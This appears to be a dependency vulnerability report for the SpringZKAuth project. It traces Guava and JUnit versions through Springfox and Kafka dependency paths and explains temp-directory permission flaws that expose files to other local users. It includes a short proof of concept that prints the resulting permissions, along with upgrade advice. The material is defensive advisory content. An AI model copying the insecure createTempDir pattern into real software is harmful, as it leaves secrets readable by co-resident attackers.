Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › org.reflections:reflections@0.9.11 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
Overview
com.google.guava:guava is a set of core libraries that includes new collection types (such as multimap and multiset,immutable collections, a graph library, functional types, an in-memory cache and more.
Affected versions of this package are vulnerable to Information Disclosure.
The file permissions on the file created by com.google.common.io.Files.createTempDir allow an attacker running a malicious program co-resident on the same machine to steal secrets stored in this directory. This is because, by default, on unix-like operating systems the /tmp directory is shared between all users, so if the correct file permissions aren't set by the directory/file creator, the file becomes readable by all other users on that system.
PoC
File guavaTempDir = com.google.common.io.Files.createTempDir();
System.out.println("Guava Temp Dir: " + guavaTempDir.getName());
runLS(guavaTempDir.getParentFile(), guavaTempDir); // Prints the file permissions -> drwxr-xr-x
File child = new File(guavaTempDir, "guava-child.txt");
child.createNewFile();
runLS(guavaTempDir, child); // Prints the file permissions -> -rw-r--r--
For Android developers, choosing a temporary directory API provided by Android is recommended, such as context.getCacheDir(). For other Java developers, we recommend migrating to the Java 7 API java.nio.file.Files.createTempDirectory() which explicitly configures permissions of 700, or configuring the Java runtime's java.io.tmpdir system property to point to a location whose permissions are appropriately configured.
Remediation
There is no fix for com.google.guava:guava. However, in version 30.0 and above, the vulnerable functionality has been deprecated. In oder to mitigate this vulnerability, upgrade to version 30.0 or higher and ensure your dependencies don't use the createTempDir or createTempFile methods.
References
low severity
- Vulnerable module: junit:junit
- Introduced through: org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE, com.101tec:zkclient@0.7 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › junit:junit@4.12Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.2.0.RELEASE.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › jline:jline@0.9.94 › junit:junit@4.12
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › jline:jline@0.9.94 › junit:junit@4.12
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › jline:jline@0.9.94 › junit:junit@4.12
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › jline:jline@0.9.94 › junit:junit@4.12
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › jline:jline@0.9.94 › junit:junit@4.12
Overview
junit:junit is an unit testing framework for Java
Affected versions of this package are vulnerable to Information Exposure. The JUnit4 test rule TemporaryFolder contains a local information disclosure vulnerability. On Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.
Note: This vulnerability does not allow other users to overwrite the contents of these directories or files. This only affects Unix like systems.
Remediation
Upgrade junit:junit to version 4.13.1 or higher.